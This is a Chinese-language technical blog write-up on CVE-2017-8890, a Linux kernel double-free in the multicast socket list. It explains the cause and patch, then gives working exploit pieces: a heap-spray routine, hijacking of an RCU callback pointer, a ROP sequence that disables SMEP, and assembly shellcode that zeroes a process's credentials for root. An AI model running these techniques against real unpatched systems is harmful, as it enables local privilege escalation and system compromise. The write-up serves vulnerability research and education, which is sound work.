【kernel exploit】CVE-2017-8890 Phoenix Talon漏洞分析与利用

2021/03/22 Kernel-exploit 共 15788 字,约 46 分钟

【kernel exploit】CVE-2017-8890 Phoenix Talon漏洞分析与利用

影响版本:Linux 2.5.69~4.10.15 详细影响版本 评分7.8,可能导致远程代码执行。隐藏11年,通过syzkaller挖到。

测试版本:Linux-4.10.15 测试环境下载地址https://github.com/bsauce/kernel_exploit_factory

编译选项CONFIG_E1000=yCONFIG_E1000E=y

General setup —> Choose SLAB allocator (SLUB (Unqueued Allocator)) —> SLAB

$ wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v4.x/linux-4.10.15.tar.xz
$ tar -xvf linux-4.10.15.tar.xz
# KASAN: 设置 make menuconfig 设置"Kernel hacking" ->"Memory Debugging" -> "KASan: runtime memory debugger"。
$ make -j32
$ make all
$ make modules
# 编译出的bzImage目录:/arch/x86/boot/bzImage。

漏洞描述net/ipv4/inet_connection_sock.c文件中的inet_csk_clone_lock()函数存在Double-Free漏洞。具体来说,服务端创建socket和调用accept()接收连接时会产生两个指向ip_mc_socklist对象的指针—mc_list,服务端在 close socket 和关闭accept创建的inet_sock对象时,会将ip_mc_socklist对象释放两次,导致Double-Free。

补丁patch 在复制对象的时候将mc_list指向NULL即可。

struct sock *inet_csk_clone_lock(const struct sock *sk,
				 const struct request_sock *req,
				 const gfp_t priority)
{
	struct sock *newsk = sk_clone_lock(sk, priority);  // 拷贝sk。拷贝完成后,没有对 mc_list 初始化,因此在newsk和sk中存在同一个指向 ip_mc_socklist 的结构体指针。

	if (newsk) {
		struct inet_connection_sock *newicsk = inet_csk(newsk);

		newsk->sk_state = TCP_SYN_RECV;
		newicsk->icsk_bind_hash = NULL;

		inet_sk(newsk)->inet_dport = inet_rsk(req)->ir_rmt_port;
		inet_sk(newsk)->inet_num = inet_rsk(req)->ir_num;
		inet_sk(newsk)->inet_sport = htons(inet_rsk(req)->ir_num);
		newsk->sk_write_space = sk_stream_write_space;

		/* listeners have SOCK_RCU_FREE, not the children */
		sock_reset_flag(newsk, SOCK_RCU_FREE);
        
        inet_sk(newsk)->mc_list = NULL;  // <------------------------ patch

		newsk->sk_mark = inet_rsk(req)->ir_mark;
		atomic64_set(&newsk->sk_cookie,
			     atomic64_read(&inet_rsk(req)->ir_cookie));

		newicsk->icsk_retransmits = 0;
		newicsk->icsk_backoff	  = 0;
		newicsk->icsk_probes_out  = 0;

		/* Deinitialize accept_queue to trap illegal accesses. */
		memset(&newicsk->icsk_accept_queue, 0, sizeof(newicsk->icsk_accept_queue));

		security_inet_csk_clone(newsk, req);
	}
	return newsk;
}
EXPORT_SYMBOL_GPL(inet_csk_clone_lock);

保护机制:开启SMEP,不开SMAP、KASLR

利用总结:重点有两点,一是劫持了RCU结构中的回调函数,需学习下RCU机制学习;二是不能用ROP来提权,因为内核不处于exp进程的上下文,只能利用shellcode来修改exp对应进程的uid。总体来说是利用Double-Free来篡改RCU的回调函数指针,关闭SMEP并跳转到shellcode来修改cred。

    1. 创建 server 端的 socket, 使内核创建 ip_mc_socklist 漏洞对象;
    1. 子线程创建 client 端 socket,并不断向服务端请求连接-connect;
    1. server 端开始接收 client 请求 — accept,复制 mc_list 指针;
    1. 用户空间地址0x10000000a处布置伪造的 ip_mc_socklist 结构和ROP链(地址是执行到xchg gadget时EAX的值,ROP负责保存rbp到rbx,并关闭SMEP),子线程不断修改 func 指针(内核会修改func指针,导致劫持失败);
    1. 关闭服务端 accept 创建的 socket,堆喷射篡改 ip_mc_socklist->next_rcu 指针(为固定的值0x10000000a),关闭服务端 socket 触发Double-Free。

一、漏洞原理

(1)漏洞原理

我们在socket编程时,server端创建socket会在内核创建一个inet_sock结构,暂时称为sock1:

struct inet_sock {
	/* sk and pinet6 has to be the first two members of inet_sock */
	struct sock		sk;
    ............
	__be32			inet_saddr;
	__s16			uc_ttl;
	__u16			cmsg_flags;
	__be16			inet_sport;
	__u16			inet_id;
    .............
	__be32			mc_addr;
	struct ip_mc_socklist __rcu	*mc_list;		// 导致Double-Free
	struct inet_cork_full	cork;
};

struct ip_mc_socklist {
	struct ip_mc_socklist __rcu *next_rcu;							// 0x8
	struct ip_mreqn		multi;										// 0xc
	unsigned int		sfmode;		/* MCAST_{INCLUDE,EXCLUDE} */	// 0x4
	struct ip_sf_socklist __rcu	*sflist;							// 0x8
	struct rcu_head		rcu;										// 0x10
};

当server端调用accept()接收外来连接时会创建一个新的inet_sock结构体,称为sock2。sock2对象会从sock1对象复制一份ip_mc_socklist指针,其结构体如上。

此时内核存在两个不同的inet_sock对象,但其mc_list指针指向同一个ip_mc_socklist对象。之后,server端 close socket时,内核会释放sock1并释放mc_list指针指向的ip_mc_socklist对象;server端关闭accept()创建的sock2时,会再次释放同一个ip_mc_socklist对象,造成Double-Free。

(2)创建、复制、释放 mc_list 的调用链

可采用Understand帮助生成调用链。

创建mc_list—— -> entry_SYSCALL_64_fastpath() -> SyS_setsockopt() -> SYSC_setsockopt() -> sock_common_setsockopt() -> tcp_setsockopt() -> ip_setsockopt() -> do_ip_setsockopt() -> ip_mc_join_group() -> sock_kmalloc() -> kmalloc() (在call sock_kmalloc下断即可查看创建的mc_list

复制mc_list—— tcp_v4_rcv() -> tcp_check_req() -> tcp_v4_syn_recv_sock() -> tcp_create_openreq_child() -> inet_csk_clone_lock() -> sk_clone_lock

释放mc_list——sock_close() -> sock_release() -> ip_mc_drop_socket() -> kfree_rcu() (但是在调用kfree_rcu()之前就崩溃了,崩溃点在ip_mc_leave_src()函数中) -> __kfree_rcu() -> kfree_call_rcu() -> __call_rcu()。 真实的删除调用链:rcu_do_batch()-> __rcu_reclaim() (检查func的大小是否小于4096,如果小于4096,则释放,否则便会调用func)。

mc_listip_mc_drop_socket()函数里面释放。由于mc_list是一个单链表,通过next_rcu来索引下一个mc_list。因此在释放的时候,会循环遍历这个链表。此外,由于mc_listip_mc_socklist的结构体,引用了rcu机制(正常采用rcu机制保护的结构体中会有struct rcu_head rcu; 这个成员)因此对于该结构体写比较特殊(释放也可以理解为是写过程)。受到rcu机制保护的结构体在释放时,调用kfree_rcu()(kfree an object after a grace period)时,并不是真正的释放,而是调用__call_rcu()把他加入到rcu_head的链表中,此时会开始标记一个宽限期(GP)。当宽限期开始时,记录所有的读thread,当这些读thread都结束后,时钟中断触发时,在软中断中会调用rcu的回调函数来删除这个obj。

简单来说可以理解为当有一个线程要对该成员写时(或者删除释放),开始一个宽限期,等到所有读的线程结束后,宽限期结束,通过触发时钟中断检查是否存在回调函数,如果存在回调函数,则调用rcu的回调函数来删除这个obj。简单的rcu机制可以参考这篇文章:RCU机制学习

崩溃:在第二次释放时崩溃,ip_mc_drop_socket() -> ip_mc_leave_src()ip_mc_leave_src()中发生空指针引用。第一次释放mc_list后,该空闲块可能被其他线程使用。psf = iml->sflist 也即 [mc_list+0x18]sflistip_sf_socklist结构指针,rbx= psf = 0x2,引用psf->sl_count导致空指针引用。如果psf即[mc_list+0x18]为0,就不会引用psf->sl_count,内核就会进入ip_mc_drop_socket()kfree_rcu()流程,触发Double-Free。

void ip_mc_drop_socket(struct sock *sk)
{
	struct inet_sock *inet = inet_sk(sk);
	struct ip_mc_socklist *iml;
	struct net *net = sock_net(sk);

	if (!inet->mc_list)
		return;

	rtnl_lock();
	while ((iml = rtnl_dereference(inet->mc_list)) != NULL) {			// 遍历链表,释放
		struct in_device *in_dev;

		inet->mc_list = iml->next_rcu;
		in_dev = inetdev_by_index(net, iml->multi.imr_ifindex);
		(void) ip_mc_leave_src(sk, iml, in_dev);						// 导致崩溃的函数,第二次释放时崩溃
		if (in_dev)
			ip_mc_dec_group(in_dev, iml->multi.imr_multiaddr.s_addr);
		/* decrease mem now to avoid the memleak warning */
		atomic_sub(sizeof(*iml), &sk->sk_omem_alloc);
		kfree_rcu(iml, rcu);											// 释放点
	}
	rtnl_unlock();
}
// ip_mc_leave_src —— 导致崩溃的函数,在第一次mc_list释放后,这块dirty内存的数据就可能会其它线程使用了。
static int ip_mc_leave_src(struct sock *sk, struct ip_mc_socklist *iml,
			   struct in_device *in_dev)
{
	struct ip_sf_socklist *psf = rtnl_dereference(iml->sflist);
	int err;

	if (!psf) {															// test rbx, rbx
		/* any-source empty exclude case */
		return ip_mc_del_src(in_dev, &iml->multi.imr_multiaddr.s_addr,
			iml->sfmode, 0, NULL, 0);
	}
	err = ip_mc_del_src(in_dev, &iml->multi.imr_multiaddr.s_addr,		
			iml->sfmode, psf->sl_count, psf->sl_addr, 0);				// 崩溃点  mov ecx, DWORD PTR [rbx+0x4] 空指针引用错误(psf->sl_count)
	RCU_INIT_POINTER(iml->sflist, NULL);
	/* decrease mem now to avoid the memleak warning */
	atomic_sub(IP_SFLSIZE(psf->sl_max), &sk->sk_omem_alloc);
	kfree_rcu(psf, rcu);
	return err;
}

(3)PoC

poc流程

	sockfd = socket(AF_INET, xx, IPPROTO_TCP);	// 创建一个服务端socket
    setsockopt(sockfd, SOL_IP, MCAST_JOIN_GROUP, xxxx, xxxx);	// 通过setsockopt设置MCAST_JOIN_GROUP选项,主要是让内核创建ip_mc_socklist对象
    bind(sockfd, xxxx, xxxx);
    listen(sockfd, xxxx);
    newsockfd = accept(sockfd, xxxx, xxxx);		// 通过accept创建另外一个socket,使得newsockfd在内核中的mc_list指针指向同一个ip_mc_socklist对象
    close(newsockfd)    // first free (kfree_rcu) 关闭新的socket,这时等待RCU机制的的宽限期结束后,在rcu回调函数中触发第一次kfree。
    sleep(5)            // wait rcu free(real free)
    close(sockfd)       // double free 关闭父socket,同样的位置触发第二次free。

二、利用—ret2usr(未开SMEP/SMAP)

(1)劫持控制流思路

思路:在第1次释放后堆喷占位,控制第2次释放时的数据,劫持控制流。

函数指针:再看看导致Double-Free的ip_mc_socklist对象,其中包含rcu_head对象(实际上是callback_head结构),正好包含一个函数指针funcip_mc_socklist对象的释放涉及到 RCU机制,其释放后有一个宽限期,真正释放ip_mc_socklist对象的回调函数是__rcu_reclaim()

struct ip_mc_socklist {
    struct ip_mc_socklist __rcu *next_rcu;
    struct ip_mreqn     multi;
    unsigned int        sfmode;     /* MCAST_{INCLUDE,EXCLUDE} */
    struct ip_sf_socklist __rcu *sflist;
    struct rcu_head     rcu;
};

struct callback_head {
    struct callback_head *next;
    void (*func)(struct callback_head *head);
} 
#define rcu_head callback_head
static inline bool __rcu_reclaim(const char *rn, struct rcu_head *head)
{
	unsigned long offset = (unsigned long)head->func;

	rcu_lock_acquire(&rcu_callback_map);
	if (__is_kfree_rcu_offset(offset)) {
		RCU_TRACE(trace_rcu_invoke_kfree_callback(rn, head, offset));
		kfree((void *)head - offset);
		rcu_lock_release(&rcu_callback_map);
		return true;
	} else {
		RCU_TRACE(trace_rcu_invoke_callback(rn, head));
		head->func(head);			// 执行 rcu_head 对象中的回调函数 func。所以目标是劫持rcu_head 对象。
		rcu_lock_release(&rcu_callback_map);
		return false;
	}
}

(2)堆喷函数

思路ip_mc_socklist对象的大小是48字节,对应kmalloc-64。首先采用修改后的ipv6_mc_socklist对象来进行堆喷尝试。将堆喷对象ipv6_mc_socklist的adrr设置为ff02:abcd:0:0:0:0:0:1,即可将堆喷对象的前8个字节设置为0x00000000cdab02ff,而这8个字节正好是double free对象ip_mc_socklistnext_rcu成员。

// 修改前:由于其中有两个int成员都是4字节,对齐成8字节后使 ipv6_mc_socklist 结构变成了72字节。
struct ipv6_mc_socklist {
	struct in6_addr		addr;
	int			ifindex;
	struct ipv6_mc_socklist __rcu *next;
	rwlock_t		sflock;
	unsigned int		sfmode;		/* MCAST_{INCLUDE,EXCLUDE} */
	struct ip6_sf_socklist	*sflist;
	struct rcu_head		rcu;
};
// 修改后:将两个int成员放在一起,分配时就成了64字节
struct ipv6_mc_socklist {
    struct in6_addr     addr;
    int         ifindex;
    unsigned int        sfmode;     /* MCAST_{INCLUDE,EXCLUDE} */
    struct ipv6_mc_socklist __rcu *next;
    rwlock_t        sflock;
    struct ip6_sf_socklist  *sflist;
    struct rcu_head     rcu;
};

(3)劫持EIP

问题:通过修改ip_mc_socklist结构中的func函数指针,但是实际在执行__rcu_reclaim()函数时,该函数指针func已经被修改了。原来,kfree_rcu()函数会修改ip_mc_socklist对象中的函数指针,导致堆喷失败。kfree_rcu()调用链 —— kfree_rcu() -> __kfree_rcu() -> kfree_call_rcu() -> __call_rcu()

#define kfree_rcu(ptr, rcu_head)					\
	__kfree_rcu(&((ptr)->rcu_head), offsetof(typeof(*(ptr)), rcu_head)) // <---------- 

static void __call_rcu(struct rcu_head *head, rcu_callback_t func,
	   struct rcu_state *rsp, int cpu, bool lazy)
{
	unsigned long flags;
	struct rcu_data *rdp;

	/* Misaligned rcu_head! */
	WARN_ON_ONCE((unsigned long)head & (sizeof(void *) - 1));

	if (debug_rcu_head_queue(head)) {
		/* Probable double call_rcu(), so leak the callback. */
		WRITE_ONCE(head->func, rcu_leak_callback);
		WARN_ONCE(1, "__call_rcu(): Leaked duplicate callback\n");
		return;
	}
	head->func = func;				// <--------------- 被修改成了偏移量,也即前面offsetof()的返回值
	head->next = NULL;

解决:因此,不能直接通过劫持函数指针来劫持EIP。但Linux的RCU机制使得kfree_rcu函数调用后,并不会马上执行__rcu_reclaim()进行真正的释放,而是让CPU过一段时间再执行(宽限期)。可以在__rcu_reclaim()执行前再次修改ip_mc_socklist对象中的函数指针即可劫持EIP,如果ip_mc_socklist对象在用户空间就好了! 由于ip_mc_socklist对象的前8字节是next_rcu指针变量,指向rcu链表的下一个ip_mc_socklist对象,通过next_rcu指针构成链表。可通过劫持next_rcu指针,使其指向我们在用户空间伪造的ip_mc_socklist对象,再通过伪造用户空间对象的函数指针来劫持EIP。布局如下所示:

1-ip_mc_socklist layout

ip_mc_socklist对象劫持到用户空间后,我们就可以通过多线程 不断循环去修改伪造对象的func函数指针,从而劫持到EIP。

(4)shellcode

问题:可通过commit_creds(prepare_kernel_cred(0))提权,但前提是内核必须处于exp进程的上下文,即内核通过current宏获取到的进程描述符task_struct必须是exp进程的,否则提权失败。经调试发现,劫持EIP时内核的进程上下文是ksoftirqd进程或rcu_sched进程,猜测由于RCU机制,ip_mc_socklist对象的真正释放是在内核软中断处理中,因此我们劫持EIP时内核也处于软中断处理的进程上下文。所以虽然能劫持EIP,但不能通过简单执行commit_creds()函数执行提权,需要自己写shellcode。内核中执行如下代码即可:

// find_get_pid和pid_task函数是内核导出的函数,主要用于根据pid找到对应的进程描述符。
void get_root(int pid){

      struct pid * kpid = find_get_pid(pid); 
      struct task_struct * task = pid_task(kpid,PIDTYPE_PID); 
      unsigned int * addr = (unsigned  int* )task->cred;

      addr[1] = 0;
      addr[2] = 0;
      addr[3] = 0;
      addr[4] = 0;
      addr[5] = 0;
      addr[6] = 0;
      addr[7] = 0;
      addr[8] = 0;
}
// 这段代码是在内核中执行的,可以在编写的内核模块中编译和运行,但是不好编译为用户空间代码,因此我们直接将其转换为汇编代码:
unsigned long*  find_get_pid = (unsigned long*)0xffffffff81077220;
unsigned long*  pid_task     = (unsigned long*)0xffffffff81077180;
int pid = getpid();
void get_root() {

        asm(
        "sub    $0x18,%rsp;"
        "mov    pid,%edi;"
        "callq  *find_get_pid;"
        "mov    %rax,-0x8(%rbp);"
        "mov    -0x8(%rbp),%rax;"
        "mov    $0x0,%esi;"
        "mov    %rax,%rdi;"
        "callq  *pid_task;"
        "mov    %rax,-0x10(%rbp);"
        "mov    -0x10(%rbp),%rax;"
        "mov    0x5f8(%rax),%rax;"
        "mov    %rax,-0x18(%rbp);"
        "mov    -0x18(%rbp),%rax;"
        "add    $0x4,%rax;"
        "movl   $0x0,(%rax);"
        "mov    -0x18(%rbp),%rax;"
        "add    $0x8,%rax;"
        "movl   $0x0,(%rax);"
        "mov    -0x18(%rbp),%rax;"
        "add    $0xc,%rax;"
        "movl   $0x0,(%rax);"
        "mov    -0x18(%rbp),%rax;"
        "add    $0x10,%rax;"
        "movl   $0x0,(%rax);"
        "mov    -0x18(%rbp),%rax;"
        "add    $0x14,%rax;"
        "movl   $0x0,(%rax);"
        "mov    -0x18(%rbp),%rax;"
        "add    $0x18,%rax;"
        "movl   $0x0,(%rax);"
        "mov    -0x18(%rbp),%rax;"
        "add    $0x1c,%rax;"
        "movl   $0x0,(%rax);"
        "mov    -0x18(%rbp),%rax;"
        "add    $0x20,%rax;"
        "movl   $0x0,(%rax);"
        "nop;"
        "leaveq;" 
        "retq   ;");

}

三、绕过SMEP

(1)绕过SMEP

思路:stack pivot采用xchg eax, esp这个gadget来跳转到用户空间所布置的ROP链。通过以下两个gadget来修改cr4寄存器的第20位,改为0则关闭SMEP。关闭SMEP后即可跳转到用户空间的shellcode。

pop rdi; ret
mov cr4, rdi; pop rbp; ret

(2)堆喷

要求:这次不能修改内核,利用已有的对象进行堆喷。要求堆喷大小为64字节,且能控制前8字节,其他字节的值不影响内核执行流程。

堆喷路径:sendmmsg堆喷失败,无法控制前8个字节。最后在sock_malloc的调用图中找到一条合适的调用路径。

2-heap spray path

ip_mc_source() -> sock_kmalloc() 调试发现这里刚好分配64字节堆块,且前8字节固定为0x000000010000000a,其他字节为0不影响内核执行流程。虽然前8字节不可控,但这是能够通过mmap获取到的用户地址空间,因此该堆喷方法可行。

	if (!psl || psl->sl_count == psl->sl_max) {
		struct ip_sf_socklist *newpsl;
		int count = IP_SFBLOCK;

		if (psl)
			count += psl->sl_max;
		newpsl = sock_kmalloc(sk, IP_SFLSIZE(count), GFP_KERNEL);
		if (!newpsl) {
			err = -ENOBUFS;
			goto done;
		}
		newpsl->sl_max = count;
		newpsl->sl_count = count - IP_SFBLOCK;
		if (psl) {

堆喷代码:需修改用户空间伪造ip_mc_socklist结构的地址。

#define Heap_Spray_Addr            0x000000010000000a
int sockfd[SPRAY_SIZE];
void spray_init() {
    struct sockaddr_in server_addr;
    struct group_req group;
    struct sockaddr_in *psin=NULL;

    memset(&server_addr,0,sizeof(server_addr));
    memset(&group,0,sizeof(group));

    bzero(&server_addr,sizeof(server_addr));
    server_addr.sin_family = AF_INET;
    server_addr.sin_addr.s_addr = htons(INADDR_ANY);
    server_addr.sin_port = htons(HELLO_WORLD_SERVER_PORT);

    psin = (struct sockaddr_in *)&group.gr_group;
    psin->sin_family = AF_INET;
    psin->sin_addr.s_addr = htonl(inet_addr("10.10.2.224"));

    for(int i=0; i<SPRAY_SIZE; i++) {
        if ((sockfd[i] = socket(PF_INET6, SOCK_STREAM, 0)) < 0) {      
           perror("Socket");
           exit(errno);
        }

        setsockopt(sockfd[i], SOL_IP, MCAST_JOIN_GROUP, &group, sizeof (group));
    }

}

void heap_spray(){
    struct ip_mreq_source mreqsrc;
    memset(&mreqsrc,0,sizeof(mreqsrc));
    mreqsrc.imr_multiaddr.s_addr = htonl(inet_addr("10.10.2.224"));

    for(int j=0; j<SPRAY_SIZE; j++) {     
        setsockopt(sockfd[j], IPPROTO_IP, IP_ADD_SOURCE_MEMBERSHIP, &mreqsrc, sizeof(mreqsrc));
    }

}

(3)完整利用

不同于未开启SMEP的利用程序

  • (1)用到pivot_stack gadget来跳转到用户栈;
  • (2)在EAX指向的用户空间布置ROP链,修改cr4并跳转到get_root
  • (3)堆喷射初始化函数和堆喷函数。
  • (4)由于构造ROP链会损坏rbp的值,但是get_root()返回时需要把rbp给rsp(leave; ret;),所以ROP链最开头需要保存rbp,然后在get_root()开头恢复rbp。(方法是通过rop链保存到rcx寄存器,在get_root()开头赋给rbp——mov %rcx, %rbp;

后续:可用ret2dir方法绕过SMAP;可在内核空间伪造ip_mc_socklist

成功截图

3-succeed


四、问题

问题1:每次启动虚拟机之后,命令$ ifconfig -a只有lo本地网卡。且启动的时候init脚本不能建立eth0网卡。

解决:一般这样启动,qemu模拟的是e1000的网卡。而linux内核默认编译是不会将e1000网卡驱动编译到内核的。在编译时将.config中的CONFIG_E1000CONFIG_E1000E,变更为=y。参考

问题2:根本不会触发漏洞。根本不会走到 ip_mc_join_group() -> sock_kmalloc(),没有创建 参考

int ip_mc_join_group(struct sock *sk, struct ip_mreqn *imr)
{
	__be32 addr = imr->imr_multiaddr.s_addr;
	struct ip_mc_socklist *iml, *i;
	struct in_device *in_dev;
	struct inet_sock *inet = inet_sk(sk);
	struct net *net = sock_net(sk);
	int ifindex;
	int count = 0;
	int err;

	ASSERT_RTNL();

	if (!ipv4_is_multicast(addr))  		// 检查ip地址是不是0xe0 也即224结尾,必须是组播地址?
		return -EINVAL;

//查找该多播地址设置到哪个接口设备。
//1、如果用户传入了接口索引,则使用接口索引进行查找。(如在IPv6下)
//2、否则如果用户传入了接口的地址,则使用地址进行查找
//3、否则使用多播地址进行路由表查找。依照路由表的定义,按照组地址在路由表中查找网络接口。
	in_dev = ip_mc_find_dev(net, imr);	// 查找路由?? 在这里一直失败,可能是虚拟机路由配置问题

	if (!in_dev) {
		err = -ENODEV;
		goto done;
	}

	err = -EADDRINUSE;
	ifindex = imr->imr_ifindex;
	for_each_pmc_rtnl(inet, i) {
		if (i->multi.imr_multiaddr.s_addr == addr &&
		    i->multi.imr_ifindex == ifindex)
			goto done;
		count++;
	}
	err = -ENOBUFS;
	if (count >= net->ipv4.sysctl_igmp_max_memberships)
		goto done;
	iml = sock_kmalloc(sk, sizeof(*iml), GFP_KERNEL); 	// 给ip_mc_socklist结构分配内存,然后比较套接字的每个组地址和接口。只要发现了一个匹配项就跳出该函数,因为有一个匹配项就可以了。若网络接口地址不是INADDR_ANY,相应的计数器值就要增加。
	if (!iml)
		goto done;

	memcpy(&iml->multi, imr, sizeof(*imr));	// 到这里,就可以用新创建的套接字与组播组建立链接了,这时还必须创建一个新的记录,记录下属于该套接字的组的列表。首先还是要预先分配内存,然后只要给相关结构中的几个字段赋值,就完成了这个操作:
	iml->next_rcu = inet->mc_list;
	iml->sflist = NULL;
	iml->sfmode = MCAST_EXCLUDE;
	rcu_assign_pointer(inet->mc_list, iml);
	ip_mc_inc_group(in_dev, addr);
	err = 0;
done:
	return err;
}

解决:执行到ip_mc_find_dev(net, imr)就返回0退出了,按照组地址在路由表中找不到网络接口。原因是没有增加D级多播网络的IP路由(一般Ubuntu会自动指定这个,但是我在QEMU中跑,所以默认没有设置),需新增下列路径:Linux配置及测试IP多播

$ route add -net 224.0.0.0 netmask 240.0.0.0 dev eth0

D类地址用于多点广播(Multicast)。D类IP地址第一个字节以”1110”开始,它是一个专门保留的地址。它并不指向特定的网络,目前这一类地址被用在多点广播(Multicasting)中。多点广播地址用来一次寻址一组计算机,它标识共享同一协议的一组计算机。D类的IP地址不标识网络,其地址覆盖范围为224.0.0.0~239.255.255.255。

问题3:成功执行shellcode,但是修改cred时失败。

解决:可能是cred相对于task_struct结构首地址的偏移错误。

gdb-peda$ p/x &(*(struct task_struct *)0)->cred				# 所以 cred成员相对于task_struct结构首地址相差 0x640, 并非0x5f8, 需修改
$2 = 0x640

参考:

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8890

利用CVE-2017-8890实现linux内核提权: ret2usr

利用CVE-2017-8890实现linux内核提权: SMEP绕过

CVE-2017-8890漏洞分析和利用-概览篇

CVE-2017-8890 漏洞分析 原理篇

CVE-2017-8890 漏洞利用(root ubuntu@kernel-4.10.0-19)

文档信息

Search

    Table of Contents